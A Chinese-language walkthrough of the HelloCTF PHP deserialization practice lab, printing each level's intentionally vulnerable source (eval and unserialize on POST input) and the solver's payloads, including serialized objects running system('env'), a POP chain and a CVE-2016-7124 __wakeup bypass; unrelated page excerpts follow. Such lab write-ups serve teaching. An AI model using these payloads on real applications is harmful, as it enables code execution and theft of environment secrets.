HELLOCTF反序列化靶场全解
level 2
<?php/* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~# -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/error_reporting(0);$flag_string = "NSSCTF{????}";class FLAG{public $free_flag = "???";function get_free_flag(){echo $this->free_flag;}} $target = new FLAG();$code = $_POST['code'];if(isset($code)){eval($code);$target->get_free_flag(); } else{highlight_file('source'); }
从上往下 可控点位于$code = $_POST['code'];
flag位于$flag_string
根据代码可以修改class中的$free_flag
值为$flag_string
code=$target->$free_flag = $flag_string;
level3
<?php/* --- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 --- HINT:尝试将flag传递出来~# -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class FLAG{public $public_flag = "NSSCTF{?";protected $protected_flag = "?";private $private_flag = "?}";function get_protected_flag(){return $this->protected_flag;}function get_private_flag(){return $this->private_flag;} }class SubFLAG extends FLAG{function show_protected_flag(){return $this->protected_flag;}function show_private_flag(){return $this->private_flag;} }$target = new FLAG(); $sub_target = new SubFLAG();$code = $_POST['code'];if(isset($code)){eval($code); } else {highlight_file(__FILE__);echo "Trying to get FLAG...<br>";echo "Public Flag: ".$target->public_flag."<br>";echo "Protected Flag:".$target->protected_flag ."<br>";echo "Private Flag:".$target->private_flag ."<br>"; }?>
关键点位于
public $public_flag = "NSSCTF{?";protected $protected_flag = "?";private $private_flag = "?}";class SubFLAG extends FLAG
其中用到了三个修饰符public
protected
private
分别代表
- public(公有): 公有的类成员可以在任何地方被访问。
- protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
- private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)
效果就是当我们尝试通过继承类访问private成员变量时候是无法访问的
而protected是可以访问的
code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();
level4
<?php/* --- HelloCTF - 反序列化靶场 关卡 4 : 序列化 --- HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!# -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class FLAG3{private $flag3_object_array = array("?","?"); }class FLAG{private $flag1_string = "?";private $flag2_number = '?';private $flag3_object;function __construct() {$this->flag3_object = new FLAG3();} }$flag_is_here = new FLAG();$code = $_POST['code'];if(isset($code)){eval($code); } else {highlight_file(__FILE__); }
观察代码,在输入之前就已经完成了对象的创建$flag_is_here = new FLAG();
观察所创建对象都是私有类型,其中`__construct()创建了FLAG3()的对象,但其中也是私有量
解题可以通过序列化后将所有数据带出来
echo serialize($flag_is_here); O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
NSSCTF{ser4l1ze2se3me}
level5
考察常规值的序列化了解
<?php/* --- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 --- HINT:各有千秋~# -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class a_class{public $a_value = "NSSCTF"; } $a_object = new a_class(); $a_array = array(a=>"Hello",b=>"CTF"); $a_string = "NSSCTF"; $a_number = 678470; $a_boolean = true; $a_null = null;See How to serialize: a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";} a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";} a_string: s:6:"NSSCTF"; a_number: i:678470; a_boolean: b:1; a_null: N; Now your turn! <?php$your_object = unserialize($_POST['o']); $your_array = unserialize($_POST['a']); $your_string = unserialize($_POST['s']); $your_number = unserialize($_POST['i']); $your_boolean = unserialize($_POST['b']); $your_NULL = unserialize($_POST['n']);if($your_boolean && $your_NULL == null &&$your_string == "IWANT" &&$your_number == 1 &&$your_object->a_value == "FLAG" &&$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3" ){echo $flag; } else{echo "You really know how to serialize?"; }You really know how to serialize?
注意到下面的if判断,内容通过反序列化函数输入
不仅class,普通数值也可进行序列化
<?php class a_class{public $a_value = "FLAG"; } $a_object = new a_class(); $a_array= array("a"=>"Plz","b"=>"Give_M3"); $a_string = "IWANT"; $a_number = 1; $a_boolean = true; $a_null = null;//echo serialize($a_object); //echo serialize($a_array); //echo serialize($a_string); //echo serialize($a_number); //echo serialize($a_boolean); //echo serialize($a_null);$exp = "o=".serialize($a_object)."&a=".serialize($a_array)."&s=".serialize($a_string)."&i=".serialize($a_number)."&b=".serialize($a_boolean)."&n=".serialize($a_null); echo $exp;
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;
level 6
考察权限修饰的序列化表现
<?php/* --- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 --- HINT:各有千秋~特别注意的权限修饰符x# -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class protectedKEY{protected $protected_key;function get_key(){return $this->protected_key;} }class privateKEY{private $private_key;function get_key(){return $this->private_key;}} $protected_key = unserialize($_POST['protected_key']); $private_key = unserialize($_POST['private_key']);if(isset($protected_key)&&isset($private_key)){if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){echo $flag;} else {echo "We Call it %00_Contr0l_Characters_NULL!";} } else {highlight_file(__FILE__); }
不难看出来来需要通过传入序列化参数 触发if判断,一个是私有参数一个是保护参数,他们的序列化内容都会有不可见字符,所以需要对他们进行urlencode来完成防止字符丢失
<?phpclass protectedKEY{protected $protected_key="protected_key";function get_key(){return $this->protected_key;} }class privateKEY{private $private_key="private_key";function get_key(){return $this->private_key;}}$x = new protectedKEY(); $y = new privateKEY(); echo "protected_key=".urlencode(serialize($x))."&private_key=".urlencode(serialize($y));
level7
基础反序列化漏洞
<?php/* --- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 --- HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class FLAG{public $flag_command = "echo 'Hello CTF!<br>';";function backdoor(){eval($this->flag_command);} }$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';$Instantiate_object = new FLAG(); // 实例化的对象$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象$Instantiate_object->backdoor();$Unserialize_object->backdoor();<?php /* Now Your Turn */ unserialize($_POST['o'])->backdoor();
level 8
这里考察了构造函数 __construct()
和 析构函数 __destruct()
的使用
<?phpclass RELFLAG {public function __construct(){global $flag;$flag = 0;$flag++;echo "Constructor called " . $flag . "<br>";}public function __destruct(){global $flag;$flag++;echo "Destructor called " . $flag . "<br>";} }function check(){global $flag;if($flag > 5){echo "HelloCTF{???}";}else{echo "Check Detected flag is ". $flag;} }if (isset($_POST['code'])) {eval($_POST['code']);check(); }
构造函数仅会在对象实例化的时候被调用——反序列化的创建过程则不会触发,也就是new
的时候,解析函数则是会在对象被回收时候触发,例如手动回收的unset
函数,或者自动回收
由此 可构建一个payload
unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
level 9
常规
<?php /* --- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 --- HINT:似曾相识# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class FLAG {var $flag_command = "echo 'HelloCTF';";public function __destruct(){eval ($this->flag_command);} }unserialize($_POST['o']);
不常规的是system函数无法使用,所以需要使用``来完成命令的执行,在php中反引号的功能就是类似shell_exec,将字符串作为命令执行后返回
由此可得payload
class FLAG {var $flag_command = "echo `env`;"; }echo urlencode(serialize(new FLAG()));
level 10
第一个魔法函数__wakeup()
<?php/* --- HelloCTF - 反序列化靶场 关卡 10 : weakup! --- unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。 当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/error_reporting(0);class FLAG{function __wakeup() {include 'flag.php';echo $flag;} }if(isset($_POST['o'])) {unserialize($_POST['o']); }else {highlight_file(__FILE__); } ?>
其实题目已经说的非常清楚了__wakeup()
作为一个魔术方法,他的作用是在反序列化前完成运行,那么只需要传入一个序列化内容就好,里面甚至不需要有东西
class FLAG{function __wakeup() {include 'flag.php';echo $flag;} }echo serialize(new FLAG());
level 11
老漏洞,但是在ctf还是会常出现
<?php/* --- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! --- CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10 在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/error_reporting(0);include 'flag.php';class FLAG {public $flag = "FAKEFLAG";public function __wakeup(){global $flag;$flag = NULL;}public function __destruct(){global $flag;if ($flag !== NULL) {echo $flag;}else{echo "sorry,flag is gone!";}} }if(isset($_POST['o'])) {unserialize($_POST['o']); }else {highlight_file(__FILE__);phpinfo(); }?>
不难注意到这里要获得flag需要$flag !== NULL
但是在__wakeup()
中设置了flag = NULL
所以需要使用其他的方法
CVE-2016-7124
的作用是,当序列化内容中对象属性的值大于真实属性值时便会跳过__wakeup的执行,那么我们只需要构造一个非标准序列化内容
O:4:"FLAG":1:{s:4:"flag";s:8:"fuckflag";} >> O:4:"FLAG":1:{s:4:"flag";s:9:"fuckflag";}
即可
level 12
真有意思
<?php/* --- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---年轻就是好啊,倒头就睡。serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。 该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。 数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。 如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名 (也就是 "\0FLAG\0f" 的写法)。如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。 */class FLAG {private $f; // 私有属性 f,只能在本类中访问private $l; // 私有属性 l,只能在本类中访问protected $a; // 受保护属性 a,本类和子类可访问public $g; // 公有属性 g,任何地方都可访问public $x,$y,$z; // 公有属性 x、y、z// 魔术方法 __sleep() 会在调用 serialize($object) 前被自动执行public function __sleep() {// 只返回 x, y, z 这三个属性名// 序列化后,结果中只包含这三个属性的内容return ['x','y','z'];} }class CHALLENGE extends FLAG {// 子类定义了 8 个公有属性// 注意这里 $f 虽然同名,但和父类的 private $f 是不同的作用域public $h,$e,$l,$I,$o,$c,$t,$f;// 定义一个方法 chance(),返回 $_GET['chance'] 参数值function chance() {return $_GET['chance']; // 若 URL 带 ?chance=xxx,则返回 xxx}// 子类重写了 (override) 父类的 __sleep()public function __sleep() {/*注释:FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g看起来是想暗示这些属性拼在一起就是“FLAG”。*/// 这里定义了一个属性名数组$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];// array_rand($array_list) 从数组中随机返回一个键$_ = array_rand($array_list);$__ = array_rand($array_list);// 返回 3 个属性名:// 1) $array_list[$_] -> 第一次随机选择的属性名// 2) $array_list[$__] -> 第二次随机选择的属性名// 3) $this->chance() -> 从 $_GET['chance'] 来的字符串return array($array_list[$_], $array_list[$__], $this->chance());}}// 实例化 FLAG 类 $FLAG = new FLAG();// 序列化 $FLAG 对象 // 因为 FLAG 类的 __sleep() 返回 [x,y,z] // 最终只会序列化 x,y,z 这三个属性(且若没赋值,默认为 null) echo serialize($FLAG);// 序列化一个新的 CHALLENGE 对象 // 调用 CHALLENGE::__sleep(),会随机拿 array_list 中两个属性名, // 再把 ?chance=xxx 里的 xxx 也当作一个属性名一起序列化 echo serialize(new CHALLENGE());
原题代码注解了下
这题主要演示的是__sleep()
逐个魔术函数,在序列化内容的时候如果存在这个函数他就会先被调用
一样的做题先看可控点,可控点位于子类的chance()
方法中,跟踪这个方法到了array($array_list[$_], $array_list[$__], $this->chance());
而这个语句位于子类的__sleep()
中下面的serialize(new CHALLENGE());
之前他会先被执行,所以如果我们想拿到父类中的private
属性,就可以使用%00FLAG%00f
来传入,在序列化中其会被解读分析成父类的属性变量,在序列化内容中显示
为什么会显示:因为sleep
必须返回数组,而数组中的属性名将决定哪些变量将被序列化
O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"l";s:17:"__sleep_function_";s:7:"FLAGf";s:6:"clean_";}
所以,我们即可以通过控制序列化内容的方式获取我们需要的内容
NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}
level 13
toString()
<?php/* --- HelloCTF - 反序列化靶场 关卡 13 __toString() --- __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class FLAG {function __toString() {echo "I'm a string ~~~";include 'flag.php';return $flag;} }$obj = new FLAG();if(isset($_POST['o'])) {eval($_POST['o']); } else {highlight_file(__FILE__); }
一般情况下echo无法直接输出一个对象,而通过toString()
函数则可以实现
当尝试使用echo输出一个对象的时候,其会尝试检查对象是否定义了一个toString()
,如果没有定义则直接返回一个错误
方法没有参数,也不传递参数,但该方法必须返回字符串
level 14
<?php/* --- HelloCTF - 反序列化靶场 关卡 14 : __invoke() --- 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class FLAG{function __invoke($x) {if ($x == 'get_flag') {include 'flag.php';echo $flag;}} }$obj = new FLAG();if(isset($_POST['o'])) {eval($_POST['o']); } else {highlight_file(__FILE__); }
简单来说就是__invoke()
会在将一个对象当作一个方法来使用时会自动调用
payload:
o=echo $obj('get_flag');
Level15-POP链前置
代码
<?php/* --- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 --- 世界的本质其实就是套娃(x# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*//* FLAG in flag.php */class A {public $a;public function __construct($a) {$this->a = $a;} } class B {public $b;public function __construct($b) {$this->b = $b;} } class C {public $c;public function __construct($c) {$this->c = $c;} }class D {public $d;public function __construct($d) {$this->d = $d;}public function __wakeUp() {$this->d->action();} }class destnation {var $cmd;public function __construct($cmd) {$this->cmd = $cmd;}public function action(){eval($this->cmd->a->b->c);} }if(isset($_POST['o'])) {unserialize($_POST['o']); } else {highlight_file(__FILE__); }
注意到终点的需求eval($this->cmd->a->b->c);
cmd中的a中的b中的c需要是payload,又注意到action()
函数的调用位于D类
那么可以得到payload
$C = new C("system('env');"); $B = new B($C); $A = new A($B); $destnation = new destnation($A); $D = new d($destnation);echo serialize($D); O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:14:"system('env');";}}}}}
<?php/* --- HelloCTF - 反序列化靶场 关卡 16 : zePOP--- __wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。 __invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。 __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。试着把他们串起来吧ww# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class A {public $a;public function __invoke() {include $this->a;return $flag;} }class B {public $b;public function __toString() {$f = $this->b;return $f();} }class INIT {public $name;public function __wakeUp() {echo $this->name.' is awake!';} }if(isset($_POST['o'])) {unserialize($_POST['o']); } else {highlight_file(__FILE__); }
这题涉及了三个函数__wakeUp() __invoke() __toString()
先找终点 终点是class A 这里返回了flag,不难发现需要引入flag.php——且这里使用了invoke()函数,他的作用是当对象被作为函数调用时候的返回flag,满足这个逻辑的对象是B,那么只需要将A传入B再将B传入init即可
payload
class A {public $a = 'flag.php'; # 修改 使得include导入flag.phppublic function __invoke() { # 终点include $this->a;return $flag;} }class B {public $b;public function __toString() {$f = $this->b;return $f(); #返回了函数调用 让f指向class A} }class INIT {public $name;public function __wakeUp() { # 入口 方法用于反序列化时自动调用echo $this->name.' is awake!';} } $a = new A; $b = new B; $init = new INIT; $b -> b = $a; $init->name = $b; echo serialize($init);
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}
level 17
无中生有
/* --- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 --- 序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/class A {} echo "Class A is NULL: '".serialize(new A())."'<br>";class B {public $a = "Hello";protected $b = "CTF";private $c = "FLAG{TEST}"; } echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";$serliseString = serialize(new B());$serliseString = str_replace('B', 'A', $serliseString);echo "After replace B with A,we unserialize it and dump :<br>"; var_dump(unserialize($serliseString));if(isset($_POST['o'])) {$a = unserialize($_POST['o']);if ($a instanceof A && $a->helloctfcmd == "get_flag") {include 'flag.php';echo $flag;} else {echo "what's rule?";} } else {highlight_file(__FILE__); }
极端情况下,在一个完全空白的序列化对象中,反序列化的字符串包含了内容,则反序列化后的对象则会包含这些属性
payload:
class A{public $helloctfcmd = "get_flag"; }
level 18
字符串逃逸2
<?php/* --- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 --- 序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。# -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com*/highlight_file(__FILE__);class Demo {public $a = "Hello";public $b = "CTF";public $key = 'GET_FLAG";}FAKE_FLAG'; }class FLAG {}$serliseStringDemo = serialize(new Demo());$target = $_GET['target']; $change = $_GET['change'];$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);$FLAG = unserialize($serliseStringFLAG);if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {echo $flag; }
这道题的关键点位于str_replace函数 我看可以控制Demo()反序列化后的结果,判断点的要求是令对象FLAG中的key等于GET_FLAG
'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
反序列化的内容如上,需要做的就是替换掉Demo与GET_FLAG";}FAKE_FLAG,如此可以传入数组替换,将20替换为8压缩空间,将Demo替换为FLAG
http://node1.anna.nssctf.cn:28034/Level18/index.php?target[]=Demo&target[]=20&change[]=FLAG&change[
相关文章:

HELLOCTF反序列化靶场全解
level 2 <?php/* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~# -*- coding: utf-8 -*- # Author: 探姬 # Date: 2024-07-01 20:30 # Repo: github.com/ProbiusOfficial/PHPSerialize-labs # email: adminhello-ctf.com…...

十二、Docker Compose 部署 SpringCloudAlibaba 微服务
一、部署基础服务 0、项目部署结构 项目目录结构如下: /home/zhzl_hebei/ ├── docker-compose.yml └── geochance-auth/└── Dockerfile└── geochance-auth.jar └── geochance-system/└── Dockerfile└── geochance-system.jar └── geochance-gateway/…...
VUE之插槽
1、默认插槽 <template><div class"father"></div><h3>父组件</h3><div class"content"><Category title"热门游戏列表"><ul><li v-for"g in games" :key"g.id">{{…...
4. Go结构体使用
1、结构体的简介 结构体(Struct)是编程语言中常见的一种复合数据类型,它将不同类型的数据元素(成员)组合成一个单一的实体。通过结构体,程序员可以将具有不同类型和性质的信息绑定到一个对象中,…...
版本控制的重要性及 Git 入门
版本控制:软件开发的基石 在软件开发的浩瀚宇宙中,版本控制无疑是那颗最为闪耀的恒星,照亮了整个开发过程,成为现代软件开发不可或缺的基石。 历史追溯,定位问题根源 版本控制就像是一位不知疲倦的史官,…...

[NKU]C++安装环境 VScode
bilibili安装教程 vscode 关于C/C的环境配置全站最简单易懂!!大学生及初学初学C/C进!!!_哔哩哔哩_bilibili 1安装vscode和插件 汉化插件 2安装插件 2.1 C/C 2.2 C/C Compile run 2.3 better C Syntax 查看已…...

deepseek本地部署
DeepSeek本地部署详细指南 DeepSeek作为一款开源且性能强大的大语言模型,提供了灵活的本地部署方案,让用户能够在本地环境中高效运行模型,同时保护数据隐私,这里记录自己DeepSeek本地部署流程。 主机环境 cpu:amd 7500Fgpu:406…...

网络编程day1
实例: struct sockaddr_in addr {0};//初始化 addr.sin_family AF_INET;//设置地址族 addr.sin_port htons(8888);//设置端口号 addr.sin_addr.s_addr inet_addr("192.168.1.1"); //设置ip地址 bind(sock,(struct sockaddr *)&addr,sizeof(ad…...
QFileDialog::getOpenFileName(this,“文件对话框“,“.“,“c++ files(*.cpp);;“); 文件对话框显示乱码
在使用 QFileDialog::getOpenFileName 时,如果文件对话框显示乱码,通常是因为编码问题。Qt 默认使用 UTF-8 编码,但如果你的系统或源代码文件的编码不一致,可能会导致乱码。 以下是几种可能的解决方法: 1. 确保源代码…...

绿联NAS安装cpolar内网穿透工具实现无公网IP远程访问教程
文章目录 前言1. 开启ssh服务2. ssh连接3. 安装cpolar内网穿透4. 配置绿联NAS公网地址 前言 本文主要介绍如何在绿联NAS中使用ssh远程连接后,使用一行代码快速安装cpolar内网穿透工具,轻松实现随时随地远程访问本地内网中的绿联NAS,无需公网…...

C++学习——缺省参数、重载函数、引用
目录 前言 一、缺省参数 1.1概念 1.2写法 1.3半缺省 1.4使用 二、重载函数 2.1.概念 2.2类型 2.3参数 2.4顺序 2.5问题 2.6原理 三、引用 1、引用是什么? 2、引用的使用方法 3、引用特性 1、引用在定义的时候必须要初始化 2、一个变量会有多个引用…...

web-JSON Web Token-CTFHub
前言 在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。 作者更新了CTFHub系列,希望小伙伴们多多支持…...
langchain教程-11.RAG管道/多轮对话RAG
前言 该系列教程的代码: https://github.com/shar-pen/Langchain-MiniTutorial 我主要参考 langchain 官方教程, 有选择性的记录了一下学习内容 这是教程清单 1.初试langchain2.prompt3.OutputParser/输出解析4.model/vllm模型部署和langchain调用5.DocumentLoader/多种文档…...

Postgresql的三种备份方式_postgresql备份
这种方式可以在数据库正在使用的时候进行完整一致的备份,并不阻塞其它用户对数据库的访问。它会产生一个脚本文件,里面包含备份开始时,已创建的各种数据库对象的SQL语句和每个表中的数据。可以使用数据库提供的工具pg_dumpall和pg_dump来进行…...
WebAssembly:前后端开发的未来利器
引言 在互联网的世界里,前端和后端开发一直是两块重要的领域。而 JavaScript 长期以来是前端的霸主,后端则有各种语言诸如 Java、Python、Node.js、Go 等等。然而,近年来一个名为 WebAssembly (Wasm) 的技术正在逐渐改变这一格局。它的高性能…...

Mac下使用brew安装go 以及遇到的问题
首先按照网上找到的命令进行安装 brew install go 打开终端输入go version,查看安装的go版本 go version 配置环境变量 查看go的环境变量配置: go env 事实上安装好后的go已经可以使用了。 在home/go下新建src/hello目录,在该目录中新建…...
【Leetcode 每日一题】47. 全排列 II
问题背景 给定一个可包含重复数字的序列 n u m s nums nums,按任意顺序 返回所有不重复的全排列。 数据约束 1 ≤ n u m s . l e n g t h ≤ 8 1 \le nums.length \le 8 1≤nums.length≤8 − 10 ≤ n u m s [ i ] ≤ 10 -10 \le nums[i] \le 10 −10≤nums[i]≤…...

车型检测7种YOLOV8
车型检测7种YOLOV8,采用YOLOV8NANO训练,得到PT模型,转换成ONNX,然后OPENCV的DNN调用,支持C,python,android开发 车型检测7种YOLOV8...

C语言按位取反【~】详解,含原码反码补码的0基础讲解【原码反码补码严格意义上来说属于计算机组成原理的范畴,不过这也是学好编程初级阶段的必修课】
目录 概述【适合0基础看的简要描述】: 上述加粗下划线的内容提取版: 从上述概述中提取的核心知识点,需背诵: 整数【包含整数,负整数和0】的原码反码补码相互转换的过程图示: 过程详细刨析:…...

面对全球化的泼天流量,出海企业如何观测多地域网络质量?
作者:俞嵩、白玙 泼天富贵背后,技术挑战接踵而至 随着全球化进程,出海、全球化成为很多 Toc 产品的必经之路,保障不同地域、不同网络环境的一致的用户体验成为全球化应用的不得不面对的问题。在跨运营商、跨地域的网络环境中&am…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)
文章目录 1.什么是Redis?2.为什么要使用redis作为mysql的缓存?3.什么是缓存雪崩、缓存穿透、缓存击穿?3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...

Mac软件卸载指南,简单易懂!
刚和Adobe分手,它却总在Library里给你写"回忆录"?卸载的Final Cut Pro像电子幽灵般阴魂不散?总是会有残留文件,别慌!这份Mac软件卸载指南,将用最硬核的方式教你"数字分手术"࿰…...

蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798, 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
Java + Spring Boot + Mybatis 实现批量插入
在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法:使用 MyBatis 的 <foreach> 标签和批处理模式(ExecutorType.BATCH)。 方法一:使用 XML 的 <foreach> 标签ÿ…...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的
修改bug思路: 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑:async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...

无人机侦测与反制技术的进展与应用
国家电网无人机侦测与反制技术的进展与应用 引言 随着无人机(无人驾驶飞行器,UAV)技术的快速发展,其在商业、娱乐和军事领域的广泛应用带来了新的安全挑战。特别是对于关键基础设施如电力系统,无人机的“黑飞”&…...
MinIO Docker 部署:仅开放一个端口
